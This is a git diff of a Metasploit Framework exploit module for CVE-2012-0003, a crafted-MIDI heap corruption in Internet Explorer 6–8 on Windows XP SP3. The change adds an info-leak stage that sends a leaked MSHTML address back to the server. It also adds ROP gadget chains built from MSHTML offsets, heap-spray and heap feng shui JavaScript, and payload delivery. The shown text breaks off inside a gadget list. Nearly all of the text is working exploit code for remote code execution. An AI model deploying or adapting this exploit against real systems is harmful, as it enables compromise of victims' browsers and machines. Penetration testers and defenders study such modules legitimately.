Merge branch 'master' of github.com:rapid7/metasploit-framework
commit
1dd27566e8
|
@ -1,8 +1,8 @@
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
# web site for more information on licensing and terms of use.
|
# Framework web site for more information on licensing and terms of use.
|
||||||
# http://metasploit.com/
|
# http://metasploit.com/framework/
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = NormalRanking
|
Rank = NormalRanking
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpServer::HTML
|
include Msf::Exploit::Remote::HttpServer::HTML
|
||||||
|
include Msf::Exploit::RopDb
|
||||||
include Msf::Exploit::Remote::BrowserAutopwn
|
include Msf::Exploit::Remote::BrowserAutopwn
|
||||||
autopwn_info({
|
autopwn_info({
|
||||||
:ua_name => HttpClients::IE,
|
:ua_name => HttpClients::IE,
|
||||||
|
@ -42,10 +43,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
(CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,
|
(CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,
|
||||||
which leverages remote code execution under the context of the user.
|
which leverages remote code execution under the context of the user.
|
||||||
|
|
||||||
Note: At this time, for IE 8 target, you may either choose the JRE ROP, or the
|
Note: At this time, for IE 8 target, msvcrt ROP is used by default. However,
|
||||||
msvcrt ROP to bypass DEP (Data Execution Prevention).
|
if you know your target's patch level, you may also try the 'MSHTML' advanced
|
||||||
|
option for an info leak based attack. Currently, this module only supports two
|
||||||
|
MSHTML builds: 8.0.6001.18702, which is often seen in a newly installed XP SP3.
|
||||||
|
Or 8.0.6001.19120, which is patch level before the MS12-004 fix.
|
||||||
|
|
||||||
Also, based on our testing, the vulnerability does not seem to trigger when
|
Also, based on our testing, the vulnerability does not seem to trigger when
|
||||||
the victim machine is operated via rdesktop.
|
the victim machine is operated via rdesktop.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
|
@ -61,16 +65,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
[ 'CVE', '2012-0003' ],
|
[ 'CVE', '2012-0003' ],
|
||||||
[ 'OSVDB', '78210'],
|
[ 'OSVDB', '78210'],
|
||||||
[ 'BID', '51292'],
|
[ 'BID', '51292'],
|
||||||
[ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ],
|
[ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ]
|
||||||
],
|
],
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
{
|
{
|
||||||
'Space' => 1024,
|
'Space' => 1024
|
||||||
},
|
},
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'EXITFUNC' => "process",
|
'EXITFUNC' => "process",
|
||||||
'InitialAutoRunScript' => 'migrate -f',
|
'InitialAutoRunScript' => 'migrate -f'
|
||||||
},
|
},
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
|
@ -79,40 +83,27 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
[
|
[
|
||||||
'IE 6 on Windows XP SP3',
|
'IE 6 on Windows XP SP3',
|
||||||
{
|
{
|
||||||
'Rop' => nil,
|
'Rop' => false,
|
||||||
'DispatchDst' => 0x0c0c0c0c
|
'DispatchDst' => 0x0c0c0c0c
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
[
|
[
|
||||||
'IE 7 on Windows XP SP3',
|
'IE 7 on Windows XP SP3',
|
||||||
{
|
{
|
||||||
'Rop' => nil,
|
'Rop' => false,
|
||||||
'DispatchDst' => 0x0c0c0c0c
|
'DispatchDst' => 0x0c0c0c0c
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
[
|
[
|
||||||
'IE 8 on Windows XP SP3 with JRE ROP',
|
'IE 8 on Windows XP SP3',
|
||||||
{
|
{
|
||||||
# xchg ecx,esp
|
# xchg ecx,esp
|
||||||
# or byte ptr [eax],al
|
# or byte ptr [eax],al
|
||||||
# add byte ptr [edi+5Eh],bl
|
# add byte ptr [edi+5Eh],bl
|
||||||
# ret 8
|
# ret 8
|
||||||
# From IMAGEHLP
|
# From IMAGEHLP
|
||||||
'Rop' => :msvcr71,
|
'Rop' => true,
|
||||||
'StackPivot' => 0x76C9B4C2,
|
'StackPivot' => 0x76C9B4C2,
|
||||||
'DispatchDst' => 0x0c0c1be4
|
|
||||||
}
|
|
||||||
],
|
|
||||||
[
|
|
||||||
'IE 8 on Windows XP SP3 with msvcrt',
|
|
||||||
{
|
|
||||||
# xchg ecx,esp
|
|
||||||
# or byte ptr [eax],al
|
|
||||||
# add byte ptr [edi+5Eh],bl
|
|
||||||
# ret 8
|
|
||||||
# From IMAGEHLP
|
|
||||||
'Rop' => :msvcrt,
|
|
||||||
'StackPivot' => 0x76C9B4C2,
|
|
||||||
'DispatchDst' => 0x0c0c1bd0
|
'DispatchDst' => 0x0c0c1bd0
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
|
@ -126,11 +117,39 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptEnum.new('MSHTML',
|
||||||
|
[
|
||||||
|
false, "MSHTML Build Version", '',
|
||||||
|
[
|
||||||
|
'', #Default (no leaky leaky)
|
||||||
|
'8.0.6001.18702', #newly installed Win XP SP3 non patched
|
||||||
|
'8.0.6001.19120' #fully patched before KB2598479 - been the same at least since Sep 2011
|
||||||
|
]
|
||||||
|
])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
@m_name, @midi = get_midi
|
||||||
|
@ml_name, @midi_leak = get_midi("leak")
|
||||||
|
@second_stage_url = rand_text_alpha(10)
|
||||||
|
@leak_param = rand_text_alpha(5)
|
||||||
|
|
||||||
|
# Offset to CFunctionPointer vftable in MSHTML
|
||||||
|
case datastore['MSHTML']
|
||||||
|
when '8.0.6001.18702'
|
||||||
|
@offset = 0xbf190
|
||||||
|
when '8.0.6001.19120'
|
||||||
|
@offset = 0xd92c8
|
||||||
|
end
|
||||||
|
super
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_target(request)
|
def get_target(request)
|
||||||
agent = request.headers['User-Agent']
|
agent = request.headers['User-Agent']
|
||||||
vprint_status("Request from: #{agent}")
|
print_status("Request as: #{agent}")
|
||||||
|
|
||||||
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
|
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
|
||||||
#Windows XP SP3 + IE 6.0
|
#Windows XP SP3 + IE 6.0
|
||||||
|
@ -139,14 +158,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
#Windows XP SP3 + IE 7.0
|
#Windows XP SP3 + IE 7.0
|
||||||
return targets[2]
|
return targets[2]
|
||||||
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
|
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
|
||||||
#Windows XP SP3 + IE 8.0 + JRE6
|
#Windows XP SP3 + IE 8.0
|
||||||
return targets[3]
|
return targets[3]
|
||||||
else
|
else
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_midi
|
# stage => "corruption" (default) | "leak"
|
||||||
|
def get_midi(stage="corruption")
|
||||||
# MIDI Fileformat Reference:
|
# MIDI Fileformat Reference:
|
||||||
# http://www.sonicspot.com/guide/midifiles.html
|
# http://www.sonicspot.com/guide/midifiles.html
|
||||||
#
|
#
|
||||||
|
@ -183,9 +203,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
tc << "\x85\x50\x99\x23\x7F"
|
tc << "\x85\x50\x99\x23\x7F"
|
||||||
|
|
||||||
# Corruption events
|
# Corruption events
|
||||||
# Midi Channel Event - Note On
|
if stage == "corruption"
|
||||||
tc << "\x00\x9F\xb2\x73"
|
# Midi Channel Event - Note On
|
||||||
# Ends Corruption events
|
tc << "\x00\x9F\xb2\x73"
|
||||||
|
else
|
||||||
|
# Midi Channel Event - Note Off (trigger a leak)
|
||||||
|
tc << "\x00\x8F\xb2\x73"
|
||||||
|
end
|
||||||
|
|
||||||
# Meta Event - End Of Track
|
# Meta Event - End Of Track
|
||||||
tc << "\x00\xFF\x2F\x00"
|
tc << "\x00\xFF\x2F\x00"
|
||||||
|
@ -201,58 +225,85 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
m << [tc.length].pack('N')
|
m << [tc.length].pack('N')
|
||||||
m << tc
|
m << tc
|
||||||
|
|
||||||
midi_name = "test_case.mid"
|
#midi_name = "test_case.mid"
|
||||||
|
midi_name = rand_text_alpha(5) + ".mid"
|
||||||
|
|
||||||
return midi_name, m
|
return midi_name, m
|
||||||
end
|
end
|
||||||
|
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
|
|
||||||
if request.uri =~ /\.mid$/i
|
# Initialize a target. If none suitable, then we don't continue.
|
||||||
print_status("Sending midi file")
|
|
||||||
send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
#Set default target
|
|
||||||
my_target = target
|
my_target = target
|
||||||
|
|
||||||
#If user chooses automatic target, we choose one based on user agent
|
|
||||||
if my_target.name =~ /Automatic/
|
if my_target.name =~ /Automatic/
|
||||||
my_target = get_target(request)
|
my_target = get_target(request)
|
||||||
if my_target.nil?
|
agent = request.headers['User-Agent']
|
||||||
|
if my_target.nil? and agent !~ /Windows\-Media\-Player|NSPlayer/
|
||||||
send_not_found(cli)
|
send_not_found(cli)
|
||||||
print_error("Unknown user-agent")
|
print_error("Unknown user-agent")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
vprint_status("Target selected: #{my_target.name}")
|
vprint_status("Target selected: #{my_target.name}") if not my_target.nil?
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Send the corrupt midi file to trigger a memory leak, or a crash to that points
|
||||||
|
# to an arbitrary address.
|
||||||
|
if request.uri =~ /#{@ml_name}$/i
|
||||||
|
print_status("Testing for info leak...")
|
||||||
|
send_response(cli, @midi_leak, {'Content-Type'=>'application/octet-strem'})
|
||||||
|
return
|
||||||
|
elsif request.uri =~ /#{@m_name}$/i
|
||||||
|
print_status("Sending midi corruption file...")
|
||||||
|
send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# Send the appropriate stage
|
||||||
|
if datastore['MSHTML'].to_s != '' and my_target['Rop']
|
||||||
|
if request.uri =~ /#{@second_stage_url}/
|
||||||
|
leak = begin
|
||||||
|
request.uri_parts["QueryString"][@leak_param].to_i
|
||||||
|
rescue
|
||||||
|
0
|
||||||
|
end
|
||||||
|
print_status("Leaked address: 0x#{leak.to_s(16)}")
|
||||||
|
send_stage(cli, my_target, 'trigger', leak)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
send_stage(cli, my_target, 'leak')
|
||||||
|
else
|
||||||
|
send_stage(cli, my_target)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_stage(cli, my_target, stage='trigger', leak=0)
|
||||||
midi_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
|
midi_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
|
||||||
midi_uri << "/#{@m_name}"
|
|
||||||
|
|
||||||
spray = build_spray(my_target)
|
if stage == 'leak'
|
||||||
|
midi_uri << "/#{@ml_name}"
|
||||||
if datastore['OBFUSCATE']
|
trigger = build_trigger(my_target, "leak")
|
||||||
spray = ::Rex::Exploitation::JSObfu.new(spray)
|
else
|
||||||
spray.obfuscate
|
midi_uri << "/#{@m_name}"
|
||||||
|
trigger = build_trigger(my_target)
|
||||||
|
spray = build_spray(my_target, leak)
|
||||||
end
|
end
|
||||||
|
|
||||||
trigger = build_trigger(my_target)
|
|
||||||
trigger_fn = "trigger"
|
|
||||||
|
|
||||||
if datastore['OBFUSCATE']
|
if datastore['OBFUSCATE']
|
||||||
|
spray = ::Rex::Exploitation::JSObfu.new(spray).obfuscate
|
||||||
trigger = ::Rex::Exploitation::JSObfu.new(trigger)
|
trigger = ::Rex::Exploitation::JSObfu.new(trigger)
|
||||||
trigger.obfuscate
|
trigger.obfuscate
|
||||||
trigger_fn = trigger.sym("trigger")
|
trigger_fn = trigger.sym('trigger')
|
||||||
|
else
|
||||||
|
trigger_fn = 'trigger'
|
||||||
end
|
end
|
||||||
|
|
||||||
html = %Q|
|
html = %Q|
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
<script language='javascript'>
|
<script language='javascript'>
|
||||||
#{spray}
|
#{spray}
|
||||||
</script>
|
</script>
|
||||||
|
|
||||||
<script language='javascript'>
|
<script language='javascript'>
|
||||||
#{trigger}
|
#{trigger}
|
||||||
</script>
|
</script>
|
||||||
|
@ -276,39 +327,34 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
html = html.gsub(/^\t\t/, '')
|
html = html.gsub(/^\t\t/, '')
|
||||||
|
|
||||||
print_status("Sending HTML")
|
print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
|
||||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def build_spray(my_target, leak=0)
|
||||||
@m_name, @midi = get_midi
|
|
||||||
super
|
|
||||||
end
|
|
||||||
|
|
||||||
def build_spray(my_target)
|
|
||||||
|
|
||||||
# Extract string based on target
|
# Extract string based on target
|
||||||
if my_target.name =~ /JRE ROP$/
|
if my_target.name == 'IE 8 on Windows XP SP3'
|
||||||
js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
|
js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
|
||||||
js_shellcode = "var shellcode = nops.substring(0,0x800 - code.length) + code;"
|
|
||||||
elsif my_target.name =~ /msvcrt$/
|
|
||||||
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
|
|
||||||
js_shellcode = "var shellcode = nops.substring(0,0x800 - code.length) + code;"
|
|
||||||
else
|
else
|
||||||
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
|
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
|
||||||
js_shellcode = "var shellcode = nops.substring(0,0x800 - code.length) + code;"
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Build shellcode based on Rop requirement
|
# Build shellcode based on Rop requirement
|
||||||
if my_target['Rop']
|
code = ''
|
||||||
code = create_rop_chain(my_target)
|
if my_target['Rop'] and datastore['MSHTML'].to_s != ''
|
||||||
|
print_status("Generating ROP using info-leak: 0x#{leak.to_s(16)}")
|
||||||
|
code << create_info_leak_rop(my_target, leak)
|
||||||
code << payload.encoded
|
code << payload.encoded
|
||||||
shellcode = Rex::Text.to_unescape(code)
|
elsif my_target['Rop'] and datastore['MSHTML'].to_s == ''
|
||||||
|
print_status("Generating ROP using msvcrt")
|
||||||
|
code << create_rop(my_target, payload.encoded)
|
||||||
else
|
else
|
||||||
code = payload.encoded
|
code << payload.encoded
|
||||||
shellcode = Rex::Text.to_unescape(code)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
shellcode = Rex::Text.to_unescape(code)
|
||||||
|
|
||||||
# 1. Create big block of nops
|
# 1. Create big block of nops
|
||||||
# 2. Compose one block which is nops + shellcode
|
# 2. Compose one block which is nops + shellcode
|
||||||
# 3. Repeat the block
|
# 3. Repeat the block
|
||||||
|
@ -321,9 +367,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
var nops = unescape("%u0c0c%u0c0c");
|
var nops = unescape("%u0c0c%u0c0c");
|
||||||
|
|
||||||
while (nops.length < 0x1000) nops+= nops;
|
while (nops.length < 0x1000) nops+= nops;
|
||||||
|
var shellcode = nops.substring(0,0x800 - code.length) + code;
|
||||||
#{js_shellcode}
|
|
||||||
|
|
||||||
while (shellcode.length < 0x40000) shellcode += shellcode;
|
while (shellcode.length < 0x40000) shellcode += shellcode;
|
||||||
|
|
||||||
#{js_extract_str}
|
#{js_extract_str}
|
||||||
|
@ -340,7 +384,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
# Build the JavaScript string for the attributes
|
# Build the JavaScript string for the attributes
|
||||||
def build_element(element_name, my_target)
|
# type => "corruption" (default) | "leak"
|
||||||
|
def build_element(element_name, my_target, type="corruption")
|
||||||
dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
|
dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
|
||||||
element = ''
|
element = ''
|
||||||
|
|
||||||
|
@ -356,7 +401,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
# Build attributes
|
# Build attributes
|
||||||
0.upto(max) do |i|
|
0.upto(max) do |i|
|
||||||
obj = (i==index) ? "unescape(\"#{dst}\")" : "alert"
|
case type
|
||||||
|
when "corruption"
|
||||||
|
obj = (i==index) ? "unescape(\"#{dst}\")" : "alert"
|
||||||
|
else #leak
|
||||||
|
obj = "alert"
|
||||||
|
end
|
||||||
element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n"
|
element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -369,54 +419,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# 3. Make holes
|
# 3. Make holes
|
||||||
# 4. Let windows media play the crafted midi file and corrupt the heap
|
# 4. Let windows media play the crafted midi file and corrupt the heap
|
||||||
# 5. Force the using of the confused tagVARIANT.
|
# 5. Force the using of the confused tagVARIANT.
|
||||||
def build_trigger(my_target)
|
def build_trigger(my_target, type="corruption")
|
||||||
|
js_trigger = build_trigger_fn(my_target, type)
|
||||||
if my_target.name =~ /IE 8 on Windows XP SP3/
|
select_element = build_element('selob', my_target, type)
|
||||||
|
|
||||||
# Redoing the feng shui if fails makes it reliable
|
|
||||||
js_trigger = <<-JSTRIGGER
|
|
||||||
function trigger(){
|
|
||||||
var k = 999;
|
|
||||||
while (k > 0) {
|
|
||||||
if (typeof(clones[k].w1) == "string") {
|
|
||||||
} else {
|
|
||||||
clones[k].w1('come on!');
|
|
||||||
}
|
|
||||||
k = k - 2;
|
|
||||||
}
|
|
||||||
feng_shui();
|
|
||||||
document.audio.Play();
|
|
||||||
}
|
|
||||||
JSTRIGGER
|
|
||||||
|
|
||||||
select_element = build_element('selob', my_target)
|
|
||||||
else
|
|
||||||
|
|
||||||
js_trigger = <<-JSTRIGGER
|
|
||||||
function trigger(){
|
|
||||||
var k = 999;
|
|
||||||
while (k > 0) {
|
|
||||||
if (typeof(clones[k].w0) == "string") {
|
|
||||||
} else {
|
|
||||||
clones[k].w0('come on!');
|
|
||||||
}
|
|
||||||
k = k - 2;
|
|
||||||
}
|
|
||||||
feng_shui();
|
|
||||||
document.audio.Play();
|
|
||||||
}
|
|
||||||
JSTRIGGER
|
|
||||||
|
|
||||||
select_element = build_element('selob', my_target)
|
|
||||||
end
|
|
||||||
|
|
||||||
trigger = <<-JS
|
trigger = <<-JS
|
||||||
var heap = new heapLib.ie();
|
var heap = new heapLib.ie();
|
||||||
#{select_element}
|
#{select_element}
|
||||||
var clones=new Array(1000);
|
var clones = new Array(1000);
|
||||||
|
|
||||||
function feng_shui() {
|
function feng_shui() {
|
||||||
|
|
||||||
heap.gc();
|
heap.gc();
|
||||||
|
|
||||||
var i = 0;
|
var i = 0;
|
||||||
|
@ -431,7 +443,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
CollectGarbage();
|
CollectGarbage();
|
||||||
j = j + 2;
|
j = j + 2;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
feng_shui();
|
feng_shui();
|
||||||
|
@ -443,85 +454,171 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
return trigger
|
return trigger
|
||||||
end
|
end
|
||||||
|
|
||||||
def junk(n=1)
|
# type = "corruption" (default) | "leak"
|
||||||
tmp = []
|
def build_trigger_fn(my_target, type="corruption")
|
||||||
value = rand_text(4).unpack("L")[0].to_i
|
js_trigger=""
|
||||||
n.times { tmp << value }
|
case type
|
||||||
return tmp
|
when "corruption"
|
||||||
|
js_trigger = js_trigger_fn_corruption(my_target)
|
||||||
|
when "leak"
|
||||||
|
js_trigger = js_trigger_fn_leak(my_target)
|
||||||
|
end
|
||||||
|
return js_trigger
|
||||||
end
|
end
|
||||||
|
|
||||||
def nop
|
# Redoing the feng shui if fails makes it reliable
|
||||||
return make_nops(4).unpack("L")[0].to_i
|
def js_trigger_fn_corruption(my_target)
|
||||||
|
attribute = (my_target.name == 'IE 8 on Windows XP SP3') ? 'w1' : 'w0'
|
||||||
|
|
||||||
|
js = %Q|
|
||||||
|
function trigger(){
|
||||||
|
var k = 999;
|
||||||
|
while (k > 0) {
|
||||||
|
if (typeof(clones[k].#{attribute}) == "string") {
|
||||||
|
} else {
|
||||||
|
clones[k].#{attribute}('come on!');
|
||||||
|
}
|
||||||
|
k = k - 2;
|
||||||
|
}
|
||||||
|
feng_shui();
|
||||||
|
document.audio.Play();
|
||||||
|
}
|
||||||
|
|
|
||||||
|
|
||||||
|
return js
|
||||||
end
|
end
|
||||||
|
|
||||||
def create_rop_chain(my_target)
|
# Redoing the feng shui if fails makes it reliable
|
||||||
|
def js_trigger_fn_leak(my_target)
|
||||||
pivot = my_target['StackPivot']
|
js_trigger = ""
|
||||||
|
if my_target.name == 'IE 8 on Windows XP SP3'
|
||||||
case my_target['Rop']
|
js_trigger = <<-JSTRIGGER
|
||||||
when :msvcrt
|
function trigger(){
|
||||||
rop_gadgets =
|
var k = 999;
|
||||||
[
|
while (k > 0) {
|
||||||
0x77c539ee, # RETN
|
if (typeof(clones[k].w1) == "string") {
|
||||||
pivot,
|
var leak = clones[k].w1.charCodeAt(1)*0x10000 + clones[k].w1.charCodeAt(0)
|
||||||
junk,
|
document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + leak
|
||||||
0x77c4e392, # POP EAX # RETN
|
return;
|
||||||
0x77c11120, # <- *&VirtualProtect()
|
}
|
||||||
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
|
k = k - 2;
|
||||||
junk,
|
}
|
||||||
0x77c2dd6c,
|
feng_shui();
|
||||||
0x77c4ec00, # POP EBP # RETN
|
document.audio.Play();
|
||||||
0x77c35459, # ptr to 'push esp # ret'
|
}
|
||||||
0x77c47705, # POP EBX # RETN
|
JSTRIGGER
|
||||||
0x00000400, # <- change size to mark as executable if needed (-> ebx)
|
|
||||||
0x77c3ea01, # POP ECX # RETN
|
|
||||||
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
|
|
||||||
0x77c46100, # POP EDI # RETN
|
|
||||||
0x77c46101, # ROP NOP (-> edi)
|
|
||||||
0x77c4d680, # POP EDX # RETN
|
|
||||||
0x00000040, # newProtect (0x40) (-> edx)
|
|
||||||
0x77c4e392, # POP EAX # RETN
|
|
||||||
nop, # NOPS (-> eax)
|
|
||||||
0x77c12df9, # PUSHAD # RETN
|
|
||||||
].flatten.pack("V*")
|
|
||||||
|
|
||||||
when :msvcr71
|
|
||||||
rop_gadgets =
|
|
||||||
[
|
|
||||||
0x7c347f98, # RETN (ROP NOP)
|
|
||||||
pivot, # stackpivot
|
|
||||||
junk, # padding
|
|
||||||
0x7c376402, # POP EBP # RETN
|
|
||||||
0x7c376402, # skip 4 bytes
|
|
||||||
0x7c347f97, # POP EAX # RETN
|
|
||||||
0xfffff800, # Value to negate, will become 0x00000201 (dwSize)
|
|
||||||
0x7c351e05, # NEG EAX # RETN
|
|
||||||
0x7c354901, # POP EBX # RETN
|
|
||||||
0xffffffff,
|
|
||||||
0x7c345255, # INC EBX # FPATAN # RETN
|
|
||||||
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
|
|
||||||
0x7c344f87, # POP EDX # RETN
|
|
||||||
0xffffffc0, # Value to negate, will become 0x00000040
|
|
||||||
0x7c351eb1, # NEG EDX # RETN
|
|
||||||
0x7c34d201, # POP ECX # RETN
|
|
||||||
0x7c38b001, # &Writable location
|
|
||||||
0x7c34b8d7, # POP EDI # RETN
|
|
||||||
0x7c347f98, # RETN (ROP NOP)
|
|
||||||
0x7c364802, # POP ESI # RETN
|
|
||||||
0x7c3415a2, # JMP [EAX]
|
|
||||||
0x7c347f97, # POP EAX # RETN
|
|
||||||
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF (IAT)
|
|
||||||
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
|
|
||||||
0x7c345c30, # ptr to 'push esp # ret'
|
|
||||||
].flatten.pack('V*')
|
|
||||||
end
|
end
|
||||||
|
|
||||||
return rop_gadgets
|
return js_trigger
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def create_rop(t, p)
|
||||||
|
# MSVCRT.dll ROP
|
||||||
|
padding = ''
|
||||||
|
padding << [0x77C4CA70].pack("V*") #ADD ESP,0C; RET
|
||||||
|
padding << [t['StackPivot']].pack("V*")
|
||||||
|
padding << [0x77C4CA73].pack("V*") * 12 #ROP NOPs
|
||||||
|
generate_rop_payload('msvcrt', p, {'pivot'=>padding, 'target'=>'xp'})
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_info_leak_rop(my_target, leak = 0x0)
|
||||||
|
base = (leak == 0x00) ? 0x63580000 : (leak - @offset)
|
||||||
|
print_status("Image base of mshtml: 0x%x" %base)
|
||||||
|
|
||||||
|
# Generate the gadgets based on offset
|
||||||
|
rop_gadgets = ''
|
||||||
|
case @offset
|
||||||
|
when 0xd92c8
|
||||||
|
rop_gadgets =
|
||||||
|
[
|
||||||
|
:junk,
|
||||||
|
:junk,
|
||||||
|
0x328468, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14
|
||||||
|
:junk,
|
||||||
|
0x247e5d, # ROP NOPs
|
||||||
|
0x247e5d,
|
||||||
|
0x247e5d,
|
||||||
|
0x247e5d,
|
||||||
|
0x247e5d,
|
||||||
|
0x247e5d,
|
||||||
|
0x247e5d,
|
||||||
|
0x247e5c, # POP ESI # RETN [mshtml.dll]
|
||||||
|
0x137c, # ptr to &VirtualProtect() [IAT mshtml.dll]
|
||||||
|
0x3c8db7, # MOV EDX,DWORD PTR DS:[ESI] # ADD EAX,8BCE8B00 # RETN [mshtml.dll]
|
||||||
|
0x42e239, # PUSH EDX # XOR EAX,EAX # POP ESI # POP EBP # RETN 0x08 [mshtml.dll]
|
||||||
|
:junk,
|
||||||
|
0x3460c, # POP EBP # RETN [mshtml.dll]
|
||||||
|
:junk,
|
||||||
|
:junk,
|
||||||
|
0x23ef79, # & jmp esp [mshtml.dll]
|
||||||
|
0x189303, # POP EBX # RETN [mshtml.dll]
|
||||||
|
:ebx, # 0x00000201-> ebx
|
||||||
|
0x20437c, # POP EDX # RETN [mshtml.dll]
|
||||||
|
:edx, # 0x00000040-> edx
|
||||||
|
0xc277, # POP ECX # RETN [mshtml.dll]
|
||||||
|
0x53a47d, # &Writable location [mshtml.dll]
|
||||||
|
0x4a33e2, # POP EDI # RETN [mshtml.dll]
|
||||||
|
0x4b601, # RETN (ROP NOP) [mshtml.dll]
|
||||||
|
0x33fbc6, # POP EAX # RETN [mshtml.dll]
|
||||||
|
:nop,
|
||||||
|
0x52c718 # PUSHAD # RETN [mshtml.dll]
|
||||||
|
]
|
||||||
|
|
||||||
|
when 0xbf190
|
||||||
|
rop_gadgets =
|
||||||
|
[
|
||||||
|
:junk,
|
||||||
|
0x3338ae, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14
|
||||||
|
:junk,
|
||||||
|
0xe9e7, # POP ECX # RETN [mshtml.dll] 0x6358e9e7
|
||||||
|
:junk,
|
||||||
|
:junk,
|
||||||
|
:junk,
|
||||||
|
:junk,
|
||||||
|
:junk,
|
||||||
|
0x1318, # ptr to &VirtualProtect() [IAT mshtml.dll]
|
||||||
|
0x48b440, # MOV EDX,DWORD PTR DS:[ECX] # RETN [mshtml.dll]
|
||||||
|
0x3dc745, # POP ESI # RETN [mshtml.dll]
|
||||||
|
:neg, # 0xffffffff
|
||||||
|
0x2fb18b, # INC ESI # RETN [mshtml.dll]
|
||||||
|
0x35190d, # ADC ESI,EDX # DEC ECX # RETN 08 [mshtml.dll]
|
||||||
|
0x4aada7, # POP EBP # RETN [mshtml.dll]
|
||||||
|
:junk, # Compensates RETN
|
||||||
|
:junk, # Compensates RETN
|
||||||
|
0x1ffc54, # & jmp esp [mshtml.dll]
|
||||||
|
0x4498a7, # POP EBX # RETN [mshtml.dll]
|
||||||
|
:ebx, # 0x00000800: 0x00000201-> ebx
|
||||||
|
0x24cce4, # POP EDX # RETN [mshtml.dll]
|
